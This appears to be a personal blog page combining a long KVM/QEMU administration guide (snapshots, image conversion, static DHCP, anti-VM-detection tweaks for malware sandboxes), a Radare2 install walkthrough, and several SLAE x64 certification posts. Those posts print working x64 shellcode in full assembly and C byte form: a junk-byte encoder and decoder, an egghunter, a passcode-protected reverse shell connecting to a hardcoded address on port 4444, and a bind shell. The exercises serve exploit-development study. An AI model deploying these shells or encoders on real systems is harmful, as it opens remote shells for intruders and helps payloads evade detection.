domingo, 8 de mayo de 2016

KVM

README

Updates

  • Updated 07.03.2019 Removed all outdated information, almost everything
  • Full changelog script

Virtualization With KVM On Ubuntu 18.04 LTS

Instalation for best performance is done using this script

The GUI - Virt-Manager

  • GUI will be installed by script
KVM usage

First check if your CPU supports hardware virtualization - if this is the case, the command

  • To check if KVM has successfully been installed, run

    • virsh -c qemu:///system list OR
    • virsh list
  • It should display something like this:

    root@server1:~# virsh -c qemu:///system list
     Id Name                 State
    ----------------------------------
  • Before we start our first virtual machine, I recommend to reboot the system:

    • reboot
  • If you don’t do this, you might get an error like open /dev/kvm: Permission denied in the virtual machine logs in the /var/log/libvirt/qemu/ directory.

  • shows all VMs,

virsh # list --all
 Id Name                 State
----------------------------------
  - vm1                  shut off
  - vm2                  shut off
  • Before you start a new VM for the first time, you must define it from its xml file (located in the /etc/libvirt/qemu/ directory):

    • define /etc/libvirt/qemu/vm1.xml
  • Please note that whenever you modify the VM’s xml file in /etc/libvirt/qemu/, you must run the define command again!

  • Now you can start the VM:

    • start vm1
  • After a few moments, you should be able to connect to the VM with an SSH client such as PuTTY; log in with the default username and password. After the first login you will be prompted to change the password.

  • should now show the VM as running:

virsh # list
 Id Name                 State
----------------------------------
  1 vm1                  running
  • To stop a VM, run

    • shutdown vm1
  • To immediately stop it (i.e., pull the power plug), run

    • destroy vm1
  • Suspend a VM:

    • suspend vm1
  • Resume a VM:

    • resume vm1
  • To leave the virtual shell..

    • quit
KVM-QEMU, QCOW2, QEMU-IMG and Snapshots: Source1 | Source2

There are several different types of snapshots possible. Some idea on that:

  • Internal snapshot: A type of snapshot, where a single QCOW2 file will hold both the ‘saved state’ and the ‘delta’ since that saved point. ‘Internal snapshots’ are very handy because it’s only a single file where all the snapshot info. is captured, and easy to copy/move around the machines.

  • External snapshot: Here, the ‘original qcow2 file’ will be in a ‘read-only’ saved state, and the new qcow2 file(which will be generated once snapshot is created) will be the delta for the changes. So, all the changes will now be written to this delta file. ‘External Snapshots’ are useful for performing backups. Also, external snapshot creates a qcow2 file with the original file as its backing image, and the backing file can be /read/ in parallel with the running qemu.

  • VM State: This will save the guest/domain state to a file. So, if you take a snapshot including VM state, we can then shut off that guest and use the freed up memory for other purposes on the host or for other guests. Internally this calls qemu monitor’s ‘savevm’ command. Note that this only takes care of VM state(and not disk snapshot).

  • Before creating a snapshot, we need to create a snapshot xml file with 2 simple elements (name and description) if you need sensible name for the snapshot. Note that only these two fields are user settable. Rest of the info. will be filled by Libvirt.

$  cat /var/tmp/snap1-f15guest.xml
<domainsnapshot>
    <name>snaphot_name </name>
    <description>SomeDescription</description>
</domainsnapshot>

Commands

  • List of all available snapshots

    • virsh snapshot-list NAME_HERE
  • To revert to a particular snapshot

    • virsh snapshot-revert name_vm snapshotname
  • Taking a snapshot while the ‘guest’ is running live

    • virsh snapshot-create name_vm /var/tmp/snap1-f15guest.xml
  • To take snapshot of disk image too

    • qemu-img create -f qcow2 -b centos-cleaninstall.img snapshot.img
  • Dump some basic information about the image file. Includes the size on disk of the file, the name of any backing file referenced and a list of the snapshots available.

    • qemu-img info <imagename>
  • Create a simple QCOW2 image file. The disk space used for this file will be relatively small but the maximim storage capacity will be max-storage. qemu-img create -f qcow2 <imagename> <max-storage>

  • Create a QCOW2 image file named imagename2 which is based on a backing image, imagename1. The new image file will reference the backing file. Any clusters written by the VM will be written to imagename2 so that the backing file remains unchanged. The backing file can be referenced by many future images but must not be changed by any of them. Warning: If any process modifies the backing file the image file(s) will be corrupted. qemu-img create -b <imagename1> -f qcow2 -l <imagename2>

  • List all the snapshots in the specified imagename file.

    • qemu-img snapshot -l <imagename>
  • Create a snapshot and name it snapshot-name. This snapshot is a simple picture of the VM image state at the time the snapshot is created.

    • qemu-img snapshot -c <snapshot-name> <imagename>
  • Apply a snapshot named snapshot-name. This function simply restores the clusters that were saved when the snapshot, snapshot-name, was created. It has the effect of returning the VM image to the state it was in at that time.

    • qemu-img snapshot -a
  • Delete the snapshot named snapshot-name from the specified image file, imagename. Snapshots can gobble-up a significant amount of disk space. The delete command does not actually release any disk space allocated to the image file but it does release the associated clusters - effectively making them available to the VM for future storage.

    • qemu-img snapshot -d <snapshot-name> <imagename>
  • The convert command, when converting to and from the same QCOW2 format, acts as a copy command that only copies the current state of the VM image to the output file. The -p option displays progress information during the copy operation - which is often quite time consuming. The output file, imagename2, will contain all the clusters of a backing file that were referenced in the original image, imagename1. It will not copy any snapshot information. This has the effect of creating a standalone image with no references to any backing image.

    • qemu-img convert -p -f qcow2 <imagename1> -O qcow2 <imagename2>

The QEMU image snapshot create command is, as you might expect, also simple:

  • qemu-img snapshot -c <snapshot-name> <imagename>

    • The snapshot option tells qemu-img that we want to work with snapshots
    • The -c option tells qemu-img that we want to create a snapshot of the current VM image state.
    • The snapshot-name is the ID that we want to assign to this state of the VM image.
    • The imagename is the disk file name for the VM image with which we are working.
  • Putting it all together: Open a shell and change to the directory in which you have your image files. In the following example I am working on the same VM image that I created above and now I’m saving the image state using the name base-win7pro-winupdates-ie9.

  • As you can see there is no output from the snapshot create operation so I follow that up with an info request. Take a look (though it’s slightly edited.)

  • qemu-img snapshot -c base-win7pro-winupdates-ie9 win7demo-kvm.qcow2

  • qemu-img info win7demo-kvm.qcow2

Applying different Snapshots:

  • qemu-img snapshot -a <snapshot-name> <imagename>

    • The snapshot option tells qemu-img that we want to work with snapshots
    • The -a option tells qemu-img that we want to apply a previously created snapshot of the VM image state - ie: we want to apply that snapshot so that it becomes the current image state.
    • The snapshot-name is the ID of the previously created snapshot.
    • The imagename is the disk file name for the VM image with which we are working.
Converting image formats
  • This example will convert a raw image file named centos7.img to a qcow2 image file.

    • qemu-img convert -f raw -O qcow2 centos7.img centos7.qcow2
  • Run the following command to convert a VMDK image file to a raw image file.

    • qemu-img convert -f vmdk -O raw centos7.vmdk centos7.img
  • Run the following command to convert a VMDK image file to a qcow2 image file.

    • qemu-img convert -f vmdk -O qcow2 centos7.vmdk centos7.qcow2
  • VBoxManage: VDI (VirtualBox) to raw

    • VBoxManage clonehd ~/VirtualBox\ VMs/fedora21.vdi fedora21.img --format raw
  • .OVA to QCOW2

    • tar xvf MyAppliance.ova
    • qemu-img convert -O qcow2 MyAppliance-disk1.vmdk MyAppliance.qcow2
Change default image storage
virsh pool-dumpxml default > pool.xml
edit pool.xml # with new name and path
virsh pool-create pool.xml
virsh pool-refresh name
Enabling clipboard transfer (Copy + Paste)
  • To enable copy and paste between virtual machines and host in RedHat KVM do the followings:
    • Shutdown you machine if it is turned on.
    • Click on “Show virtual hardware details“.
    • Choose the “Display VNC” hardware and set the type to “Spice“
    • Click Apply and choose YES to the “You are switching graphics type to spice, would you like to add Spice agent channels?” question.
    • Now, select Video and set the Model to “qxl” and click apply.
    • Turn on your machine and login.
    • Run the followings as super user:
sudo apt-get install spice-vdagent python-spice-client-gtk spice-client spice-client-gtk
  • Then for all clients you need install guest software
  • Reboot the guest, and voila it works.

File draging/sharing

  • ToDo

Modifying KVM (qemu-kvm) settings for malware analysis

Some parts of this block is from: blog.prowling.nu

  • I have found that using libvirt and virsh edit is a simple way to change the settings for the guest OS.

  • General guidelines DON’T RUN VM BEFORE ALL PATCHING: 0. sh QEMU and seobios correct installer 1. Change mac address 2. Add CpuID bit vm detect patching and ACPI tables 3. Add SeoBios info 4. Copy host cpu info(Depends on the host)

To edit VM conf -> virsh edit vm_name

0. Use this kvm-qemu.sh to install all software and REPLACE <WOOT>

Script: sudo ./kvm-qemu.sh --help

1. Change mac address

 <interface type='network'>
            <mac address='xx:xx:xx:xx:xx:xx'/>
            <source network='default'/>
            <model type='rtl8139'/>
           <address type='pci' domain='0x0000' bus='0x00' slot='0x03' function='0x0'/>
</interface>

2 Add CpuID bit vm detect patching and ACPI tables

  • KVM by default will pass through a feature flag, viewable in ECX as the 31st bit after executing the CPUID instruction with EAX set to 1. Some malware will use this unprivileged instruction to detect its execution in a VM. One way to avoid this is to modify your VM definition as follows: find the following line:
<domain type='kvm'>

Change it to:

<domain type='kvm' xmlns:qemu='http://libvirt.org/schemas/domain/qemu/1.0'>

Then within the domain element, add the following:

  <qemu:commandline>
    <qemu:arg value='-cpu'/>
    <qemu:arg value='<REPLACEME>,-hypervisor,kvm=off'/>
    <qemu:arg value='-L'/>
    <qemu:arg value='/usr/share/qemu/bios.bin'/>
  </qemu:commandline>
  • Instead of using “host”, you can also choose a number of other CPU models from the list displayed with the “qemu-system-i386 -cpu help” command (SandyBridge, Haswell, etc). So replace REPLACEME with your cpu which you selected.

  • Now test your virtual machine, if everything works prepare it for snapshotting while running Cuckoo’s agent. This means the virtual machine needs to be running while you are taking the snapshot. Then you can shut it down. You can finally take a snapshot with the following command:

3 Change BIOS information

  • Start by retrieving the dmidecode information for your host.
        <os>
          <smbios mode='sysinfo'/>
           ...
       </os>
      <sysinfo type='smbios'>
        <bios>
             <entry name='vendor'>XXXX</entry>
             <entry name='version'>XXXXXX</entry>
             <entry name='date'>XXXXX</entry>
             <entry name='release'>XXXXX</entry>
       </bios>
      <system>
          <entry name='manufacturer'>XXXXX</entry>
          <entry name='product'>XXXXX</entry>
          <entry name='version'>XXXXX</entry>
          <entry name='serial'>XXXXX</entry>
          <entry name='uuid'>XXXXXXXX</entry> <-- This values has to be the same as the other UUID variable found in the xml file
          <entry name='sku'>XXXXXX</entry>
          <entry name='family'>XXXXXX</entry>
       </system>
     </sysinfo>

Example

  <os>
    <smbios mode='sysinfo'/>
    ...
  </os>
  <sysinfo type='smbios'>
    <bios>
         <entry name='vendor'>American Megatrends Inc.</entry>
         <entry name='version'>1101</entry>
         <entry name='date'>02/04/2013</entry>
         <entry name='release'>1.71</entry>
    </bios>
  <system>
      <entry name='manufacturer'>System manufacturer</entry>
      <entry name='product'>System manufacturer</entry>
      <entry name='version'>System Version</entry>
      <entry name='serial'>System Serial Number</entry>
      <entry name='uuid'>21804FA0-D7DA-11DD-B21C-08606E6814BB</entry>
      <entry name='sku'>SKU</entry>
      <entry name='family'>To be filled by O.E.M</entry>
   </system>
  </sysinfo>

Create snapshot

$ virsh snapshot-create "<Name of VM>"

  • Having multiple snapshots can cause errors. ERROR: No snapshot found for virtual machine VM-Name

  • VM snapshots can be managed using the following commands.

$ virsh snapshot-list "VM-Name"
$ virsh snapshot-delete "VM-Name" 1234567890

QEMU/KVM and Memory Forensic (Volatility):

How to get ram memory dump:

Executing a virsh dump command sends a request to dump the core of a guest virtual machine to a file so errors in the virtual machine can be diagnosed. Running this command may require you to manually ensure proper permissions on file and path specified by the argument corefilepath. The virsh dump command is similar to a coredump (or the crash utility). To create the virsh dump file, run:

#virsh dump <domain> <corefilepath> [--bypass-cache] { [--live] | [--crash] | [--reset] } [--verbose] [--memory-only]

  • While the domain (guest virtual machine domain name) and corefilepath (location of the newly created core dump file) are mandatory, the following arguments are optional:

    • –live creates a dump file on a running machine and doesn’t pause it.
    • –crash stops the guest virtual machine and generates the dump file. The main difference is that the guest virtual machine will not be listed as Stopped, with the reason as Crashed. Note that in virt-manager the status will be listed as Paused.
    • –reset will reset the guest virtual machine following a successful dump. Note, these three switches are mutually exclusive.
    • –bypass-cache uses O_DIRECT to bypass the file system cache.
    • –memory-only the dump file will be saved as an elf file, and will only include domain’s memory and cpu common register value. This option is very useful if the domain uses host devices directly.
    • –verbose displays the progress of the dump
  • The entire dump process may be monitored using virsh domjobinfo command and can be canceled by running virsh domjobabort.

Assign static guest IP addresses using DHCP on the virtual machine

View the current dnsmasq DHCP configuration

  • Type the following command to list networks

    • # virsh net-list
  • Sample outputs:

 Name                 State      Autostart     Persistent
----------------------------------------------------------
 default              active     yes           yes
  • To see the default network information, enter:

# virsh net-dumpxml default

  • Sample outputs:
<network connections='2'>
  <name>default</name>
  <uuid>e346291e-f86b-4f2f-a16e-654136441805</uuid>
  <forward mode='nat'>
    <nat>
      <port start='1024' end='65535'/>
    </nat>
  </forward>
  <bridge name='virbr0' stp='on' delay='0'/>
  <mac address='52:54:00:12:fe:35'/>
  <ip address='192.168.122.1' netmask='255.255.255.0'>
    <dhcp>
      <range start='192.168.122.100' end='192.168.122.254'/>
    </dhcp>
  </ip>
</network>
  • The DHCP range is between 192.168.122.100 and 192.168.122.254.

How to configure static guest IP addresses on the VM host

  • First find out your guest VM’s MAC addresses, enter:
# virsh dumpxml {VM-NAME-HERE} | grep -i '<mac'
# virsh dumpxml xenial | grep -i '<mac'
  • Sample outputs:

    • <mac address='52:54:00:4c:40:1c'/>
  • Please note down the MAC addresses of the xenial VM that you want to assign static IP addresses.

Edit the default network

  • Type the following command:

    • # virsh net-edit default
  • Find the following section:

 <dhcp>
      <range start='192.168.122.100' end='192.168.122.254'/>
  • Append the static IP as follows after range:

    • <host mac='52:54:00:4c:40:1c' name='xenial' ip='192.168.122.4'/>
  • Where,

    mac='52:54:00:4c:40:1c' – VMs mac address
    name='xenial' – VMs name.
    ip='192.168.122.4' – VMs static IP.
  • Here is my complete file with three static DHCP entries for three VMs:
<network>
  <name>default</name>
  <uuid>e346291e-f86b-4f2f-a16e-654136441805</uuid>
  <forward mode='nat'/>
  <bridge name='virbr0' stp='on' delay='0'/>
  <mac address='52:54:00:12:fe:35'/>
  <ip address='192.168.122.1' netmask='255.255.255.0'>
    <dhcp>
      <range start='192.168.122.100' end='192.168.122.254'/>
      <host mac='52:54:00:a0:cc:19' name='centos7' ip='192.168.122.2'/>
      <host mac='52:54:00:f7:a1:c8' name='puffy' ip='192.168.122.3'/>
      <host mac='52:54:00:4c:40:1c' name='xenial' ip='192.168.122.4'/>
    </dhcp>
  </ip>
</network>
  • Restart DHCP service:
# virsh net-destroy default
# virsh net-start default
  • Sample outputs:
    Network default destroyed
    Network default started
  • If you are running the guest/VM called xenial shutdown it:
# virsh shutdown xenial
# /etc/init.d/libvirt-bin restart
# virsh start xenial
# ping -a 192.168.122.4
  • Sample outputs:
PING 192.168.122.4 (192.168.122.4) 56(84) bytes of data.
64 bytes from 192.168.122.4: icmp_seq=1 ttl=64 time=0.518 ms
64 bytes from 192.168.122.4: icmp_seq=2 ttl=64 time=0.202 ms
64 bytes from 192.168.122.4: icmp_seq=3 ttl=64 time=0.327 ms
^C
--- 192.168.122.4 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 1999ms
rtt min/avg/max/mdev = 0.202/0.349/0.518/0.129 ms
  • Each time the guest or VM called xenial comes online (or rebooted for the kernel update) it will get 192.168.122.4 as static IP address by dnsmasq DHCP server.

virt-sparsify - Make a virtual machine disk sparse

  • sudo apt install libguestfs-tools

Examples

  • Typical usage is:

    • virt-sparsify indisk outdisk
    • which copies indisk to outdisk, making the output sparse. outdisk is created, or overwritten if it already exists. The format of the input disk is detected (eg. qcow2) and the same format is used for the output disk.
  • To convert between formats, use the –convert option:

    • virt-sparsify disk.raw --convert qcow2 disk.qcow2
    • Virt-sparsify tries to zero and sparsify free space on every filesystem it can find within the source disk image. You can get it to ignore (don’t zero free space on) certain filesystems by doing:
  • To sparse space of disk image and ignore filesystem

    • virt-sparsify --ignore /dev/sda1 indisk outdisk

Virt-manager for mac

brew tap jeffreywildman/homebrew-virt-manager
brew cask install xquartz
brew install virt-manager virt-viewer

virt-manager -c qemu+ssh://user@libvirthost/system?socket=/var/run/libvirt/libvirt-sock
virt-viewer -c qemu+ssh://user@libvirthost/system?socket=/var/run/libvirt/libvirt-sock

I still can’t connect to a remote URI, why?

  • This formula for virt-manager does not include the openssh-askpass dependency and does not prompt for passwords in a popup window. Here are two workarounds:

Run virt-manager with either the –debug or –no-fork option to get password prompt via the CLI.

  • Set up SSH keys between your local and remote system to avoid the prompt.

Why can’t I connect to a local URI (e.g., qemu:///system)?

  • I’ve not yet tested virt-manager against any local URIs/hypervisors. If you get virt-manager working with a local hypervisor and needed to take any special steps, feel free to share the details.

Everything was working yesterday, but it’s not working today, can you help?

  • If virt-manager or its dependencies have been upgraded recently (brew upgrade), it’s possible that a reinstall may fix the issue (see #39).

Xen/Kvm manual from OpenSuse

Some compilation problem

  • I saw first time in few year problem with compilation, where before it worked just fine. I had installed all libz related packages and still had problem with this.
    • no dependency information found for /usr/local/lib/libz.so.1
  • SOLUTION I dislike this solution but that was uniq way to get it working just fine.
    • sudo sed -i 's/my $ignore_missing_info = 0;/my $ignore_missing_info = 1;/g /usr/bin/dpkg-shlibdeps
    • another options from here not worked for me

jueves, 7 de agosto de 2014

[HowTo] Install Radare2 with bindings

Original title was:  How to install Radare2 with bindings and not to die in the intent xD

I will not tell you what is R2, because if you read it, you know what is it. Is an awesome tool for RE.

I only will leave here some of pages related with this tool, so if you are interested in learn more about Radare2 you can do it in next pages:

Installation was do in Debian like system, in other arch you can use the same tricks I think ;)

$ git clone https://github.com/radare/radare2.git
$ cd radare2
$ ./sys/install.sh

$ sudo apt-get update  
$ sudo apt-get install -y software-properties-common python-all-dev wget build-essential autogen autoconf 
$ sudo apt-get install -y swig flex bison git gcc g++ make pkg-config 
$ sudo apt-get install -y  gobject-introspection python-gobject-dev glib-2.0 libglib2.0-dev node-gyp
Compile vala
wget http://download.gnome.org/sources/vala/0.24/vala-0.24.0.tar.xz; tar -Jxf vala-0.24.0.tar.xz 

vala-0.24.0; ./configure --prefix=/usr ; make && sudo make install ; cd ..

git clone git://git.gnome.org/vala && cd vala && sh autogen.sh --prefix=/usr && make && sudo make install; cd ..
Compile ctypes
cd radare2-bindings/ctypes; make; cd ..
Installing valabind, not install it with apt-get, because you will get old version, you can check version of package using apt-cache show valabind, if is < 0.8 download it from official repo.

Debian package can be found here

Ubuntu package can be found here

cd radare2; ./sys/all.sh; cd ..
Installing bindings First, get your python dist-package dir, for this you can do the next:
Fast way to get install dir is using command
locate dist-packages

or
cd radare2-bindigs; vim Makefile 
after install-ctypes(in current github version is line 164) is add: echo ${PYTHON_INSTALL_DIR}

In my case is /usr/lib/python2.7/dist-packages/r2
Now change user to root and copy the libs to python install dir
sudo su

If your path is different, you will need adjust all path in next block
mkdir -p /usr/lib/python2.7/dist-packages/r2

echo "Installing python2.7 r2 modules in /usr/lib/python2.7/dist-packages/" ; mkdir -p /usr/lib/python2.7/dist-packages/r2 ; : > /usr/lib/python2.7/dist-packages/r2/__init__.py ; cp -rf ctypes/r_*.py /usr/lib/python2.7/dist-packages/r2/; exit
Cleaning
 
apt-get clean && rm -rf /var/lib/apt/lists/* /tmp/* /var/tmp/*
Sources:
radare.today
Radare and Radare bindings README.md files

Special thanks to @pancake :)

martes, 27 de mayo de 2014

[SLAEx64] IV Encoder/Decoder

Source: SecurityTube

How encoder work:

Get random number between 1-3 (link to python encoder script)
After add control number to shellcode, add junk bytes
Example:
-------------------------------------------------------------------------
| G | C | J | J | G | C | J | J | J | G |
-------------------------------------------------------------------------

G - good byte, shellcode byte
C - control number, help us control junk bytes to escape
J - Junk bytes

#!/usr/bin/python
from random import randint
#30 bytes
#shellcode - execve stack version
def get_random(ident):
    
    if ident == 'number':
        return randint(1,3)
    
    elif ident == 'char':
        return randint(65,122)#only [a-z[]\^_`A-Z]

shellcode  = ("\x31\xc0\x50\x68\x62\x61\x73\x68\x68\x62\x69\x6e\x2f\x68\x2f\x2f\x2f\x2f\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80")
encoded = ""
#end     = "\\xf0\\x0d"

for x in bytearray(shellcode):
    
    encoded += '\\x%02x' % x
    
    random = get_random('number')
    encoded += '\\x%02x' % random
    
    for i in range(random-1):
        
        encoded += '\\x%02x' % get_random('char')

#encoded += end #probably we will need it for correct jump

print encoded
print 
print encoded.replace("\\x", ",0x")[1:]

print 'Initial len: %d, encoded len: %d' % (len(shellcode), 
    len(encoded)/4)

Decoder.nasm

section .text
global _start
_start:
        jmp short end ; jmp pop call
 
decoder:
 
        ; clean up the registers           

        pop rsi         ; get addr of shellcode putted by call starter
        push rsi        ; backup for call :D
 
        mov rdx, rsi    ; mov shellcode start addr to esi (source)
        mov rdi, rsi    ; mov shellcode start addr to edi (destination)
        inc rsi         ; point to the first dest byte, how many bytes we need to remove/espace
        inc rdi         ; point to the first random number
        
        push byte 0x53
        pop rcx ;83 - loop counter/your shellcode length, if you use diferent shellcode need adjust it
 
restore:
        xor rax, rax ;eax
        xor rbx, rbx ;ebx
 
        mov al, byte [rdi]  ; read distance to next byte
        add rax, rdi        ; eax = addr of the next valid byte
 
        mov bl, byte [rax]  ; bl = next valid byte of the shellcode
        mov byte [rdx], bl  ; move it to the final position
 
        mov rdi, rax        ; put latest valid pisition into edi 
        inc rdi             ; next distance
        inc rdx             ; next valid byte
 
        loop restore        ; loop
        
        pop rsi             ; call shellcode
        call rsi                       
 
end:
        call decoder  ; put shellcode addr into stack
        shelcode: db  0x48,0x01,0x31,0x01,0xc0,0x01,0x50,0x03,0x69,0x5b,0x48,0x01,0xbb,0x03,0x7a,0x4d,0x2f,0x03,0x60,0x49,0x62,0x01,0x69,0x01,0x6e,0x01,0x2f,0x02,0x58,0x2f,0x02,0x76,0x73,0x02,0x7a,0x68,0x01,0x53,0x03,0x71,0x62,0x48,0x01,0x89,0x02,0x7a,0xe7,0x01,0x50,0x03,0x6d,0x51,0x48,0x02,0x42,0x89,0x01,0xe2,0x02,0x51,0x57,0x03,0x71,0x59,0x48,0x02,0x54,0x89,0x01,0xe6,0x03,0x46,0x6c,0xb0,0x03,0x4b,0x61,0x3b,0x01,0x0f,0x02,0x71,0x05,0x01
SLAE64 - 1322

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:

SecurityTube Linux Assembly Expert x64

lunes, 26 de mayo de 2014

[SLAEx64] III EggHunter

Source: SecurityTube

x32 bits EggHunter can be found here

;SLAE-1322 Andriy Brukhovetskyy
;egg hunting explained some techniques  
;http://www.hick.org/code/skape/papers/egghunt-shellcode.pdf
;43 bytes

global _start
section .text
_start:

    xor rcx, rcx    ; 0
        
get_memory_block:
    ;getconf PAGE_SIZE in x64 is the same
    or dx, 0xfff    ; is the same as "add dx, 4095" (PAGE_SIZE)
        
checker:

    inc rdx         ; next memory offset
    push byte +0x15 ; __NR_access 21
    pop rax

    lea rbx, [rdx+8] ; alignment to validate the last four bytes of the signature
                     ; rcx already contains 0 (F_OK)
    syscall          ; syscall
    ;grep EFAULT /usr/include/asm-generic/errno-base.h
    ;bad address = EFAULT = 0xf2 = -14
    cmp al, 0xf2; because it's not a file

    jz get_memory_block ; if is not, loop

    mov rax, 0x5090509050905090 ; egg here in little endiant
    mov rdi, rdx
    
    scasq
    jnz checker ; return and search

    jmp rdi; if we here == we found the eggs, jump to our shellcode :)
SLAE64 - 1322

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:

SecurityTube Linux Assembly Expert x64

domingo, 25 de mayo de 2014

[SLAEx64] II tcp_reverse_shell with passcode

Source: SecurityTube

This is x64 bits tcp reverse shell with passcode, if you need more explications, please check my post about x32 bits reverse shell, where you can found man about *nix socket programing

shell asm source

; Author Andriy Brukhovetskyy - doomedraven - SLAEx64 - 1322
; 138 bytes
global _start
section .text
_start:

    ;socket syscall
    push byte 0x29 ; 41 socket 
    pop rax    
    push byte 0x2 ; AF_INET
    pop rdi  
    push byte 0x1 ; SOCK_STREAM
    pop rsi    
    cdq ;rdx = 0 - ANY
    syscall
    
    xchg rdi, rax ; save socket descriptor
    
    mov dword [rsp-4], 0x0901a8c0 ; ip
    mov word [rsp-6], 0x5c11      ; port 4444
    mov byte [rsp-8], 0x02
    sub rsp, 8
    
    push byte 0x2a ; connect
    pop rax
    mov rsi, rsp   ; pointer    
    push byte 0x10 ; len
    pop rdx
    syscall

    push byte 0x3; counter 
    pop rsi

dup2_loop:
    dec rsi
    push byte 0x21
    pop rax
    syscall
    jnz dup2_loop ; jump if not 0

    ;read buffer
    mov rdi, rax ; socket
    cdq
    mov byte [rsp-1], al ;0 read
    sub rsp, 1
          
    push rdx 
    lea rsi, [rsp-0x10] ; 16 bytes from buf
    add dl, 0x10        ; size_t count
    syscall
    
    ;test passcode
    mov rax, 0x617264656d6f6f64 ; passcode 'doomedra'[::-1].encode('hex')
    push rdi                    ; save the socket
    lea rdi, [rsi]              ; load string from address
    scasq                       ; compare
    jz accepted_passwd          ; jump if equal
    
    ;exit if different :P
    push byte 0x3c 
    pop rax
    syscall

accepted_passwd:
    
    ;execve
    pop rdi; socket
    xor rax, rax
    mov rbx, 0x68732f2f6e69622f ;/bin//sh in reverse
    push rbx
    mov rdi, rsp
    push rax
    mov rdx, rsp
    push rdi 
    mov rsi, rsp
    add al, 0x3b
    syscall

C output

// 138 bytes 
unsigned char code[] =\
"\x6a\x29\x58\x6a\x02\x5f\x6a\x01\x5e\x99\x0f\x05"
"\x48\x97\xc7\x44\x24\xfc"
"\xc0\xa8\x01\x09" //ip big endiant
"\x66\xc7\x44\x24\xfa"
"\x11\x5c" //port big endiant
"\xc6\x44\x24\xf8\x02\x48\x83"
"\xec\x08\x6a\x2a\x58\x48\x89\xe6\x6a\x10\x5a\x0f"
"\x05\x6a\x03\x5e\x48\xff\xce\x6a\x21\x58\x0f\x05"
"\x75\xf6\x48\x89\xc7\x99\x88\x44\x24\xff\x48\x83"
"\xec\x01\x52\x48\x8d\x74\x24\xf0\x80\xc2\x10\x0f"
"\x05\x48\xb8\x64\x6f\x6f\x6d\x65\x64\x72\x61\x57"
"\x48\x8d\x3e\x48\xaf\x74\x05\x6a\x3c\x58\x0f\x05"
"\x5f\x48\x31\xc0\x48\xbb\x2f\x62\x69\x6e\x2f\x2f"
"\x73\x68\x53\x48\x89\xe7\x50\x48\x89\xe2\x57\x48"
"\x89\xe6\x04\x3b\x0f\x05";

Examples:

Correct passwd


Incorrect passwd


This shellcode was accepted to shell-storm.org and can be found here, special thank to @JonathanSalwan for accept it :)

SLAE64 - 1322

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:

SecurityTube Linux Assembly Expert x64

sábado, 24 de mayo de 2014

[SLAEx64] tcp_bind_shell with passcode

Source: SecurityTube

This is x64 bits tcp bind shell with passcode, if you need more explications, please check my post about x32 bits bind shell, where you can found man about *nix socket programing

shell asm source

;Author - Andriy Brukhovetskyy - doomedraven - SLAEx64 - 1322
;175 bytes

global _start
section .text
_start:
    push byte 0x29 ; 41 - socket syscall 
    pop rax
    push byte 0x02 ; AF_INET
    pop rdi 
    push byte 0x01 ; SOCK_STREAM
    pop rsi
    cdq
    syscall
    
    ;copy socket descriptor to rdi for future use
    ;bind
    xchg rdi, rax
    xor rax, rax
    mov dword [rsp-4], eax    ;INADDR_ANY
    mov word  [rsp-6], 0x5c11 ;PORT 4444
    mov byte  [rsp-8], 0x2    ;AF_INET
    sub rsp, 0x8
    
    push byte 0x31 ;49 bind
    pop rax 
    mov rsi, rsp
    cdq
    add dl, 16 ;len
    syscall
    
    ;listen
    push byte 0x32 ;listen
    pop rax
    ;push byte 0x02 ;max clients
    ;pop rsi
    syscall
     
    push byte 0x2b ; accept
    pop rax
    sub rsp, 0x10  ; adjust
    xor rsi, rsi    
    mov rsi, rsp ; pointer
    mov byte [rsp-1], 0x10 ;len
    sub rsp, 0x01   ; adjust
    cdq
    mov rdx, rsp ; pointer
    syscall
        
    ;read buffer
    mov rdi, rax ; socket
    xor rax, rax
    mov byte [rsp-1], al ;0 read
    sub rsp, 1
    cdq      
    push rdx ; 0 stdin
    lea rsi, [rsp-0x10] ; 16 bytes from buffer
    add dl, 0x10        ; len
    syscall
    
    ;test passcode
    mov rax, 0x617264656d6f6f64 ; passcode 'doomedra'[::-1].encode('hex')
    push rdi                    ; save the socket
    lea rdi, [rsi]              ; load string from address
    scasq                       ; compare
    jz accepted_passwd          ; jump if equal
    
    ;exit if different :P
    xor rax, rax 
    add al, 60
    syscall

accepted_passwd:

    pop rdi; socket
    push byte 0x03
    pop rsi

dup2_loop:
    dec rsi
    push byte 0x21
    pop rax
    syscall
    jnz dup2_loop ; jump if not 0

    push rsi; 0
    
    ;execve
    ;push /bin//sh in reverse
    mov rbx, 0x68732f2f6e69622f
    push rbx
    
    mov rdi, rsp
    push rsi
    
    mov rdx, rsp
    push rdi 
    
    mov rsi, rsp
    push byte 0x3b
    pop rax
    syscall

C output

unsigned char code[] =\
"\x6a\x29\x58\x6a\x02\x5f\x6a\x01\x5e\x99\x0f\x05\x48\x97\x48\x31\xc0\x89\x44\x24\xfc\x66\xc7\x44\x24\xfa\x11\x5c\xc6\x44\x24\xf8\x02\x48\x83\xec\x08\x6a\x31\x58\x48\x89\xe6\x99\x80\xc2\x10\x0f\x05\x6a\x32\x58\x0f\x05\x6a\x2b\x58\x48\x83\xec\x10\x48\x31\xf6\x48\x89\xe6\xc6\x44\x24\xff\x10\x48\x83\xec\x01\x99\x48\x89\xe2\x0f\x05\x48\x89\xc7\x48\x31\xc0\x88\x44\x24\xff\x48\x83\xec\x01\x99\x52\x48\x8d\x74\x24\xf0\x80\xc2\x10\x0f\x05\x48\xb8\x64\x6f\x6f\x6d\x65\x64\x72\x61\x57\x48\x8d\x3e\x48\xaf\x74\x07\x48\x31\xc0\x04\x3c\x0f\x05\x5f\x6a\x03\x5e\x48\xff\xce\x6a\x21\x58\x0f\x05\x75\xf6\x56\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x89\xe7\x56\x48\x89\xe2\x57\x48\x89\xe6\x6a\x3b\x58\x0f\x05";


Examples:

Correct passwd


Incorrect passwd


This shellcode was accepted to shell-storm.org and can be found here, special thank to @JonathanSalwan for accept it :)


SLAE64 - 1322

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:

SecurityTube Linux Assembly Expert x64

martes, 13 de mayo de 2014

[SLAE] VI - Polymorphic

Source: SecurityTube

I recommend check this article Polymorphic Shellcode Engine Using Spectrum Analysis


;26 bytes
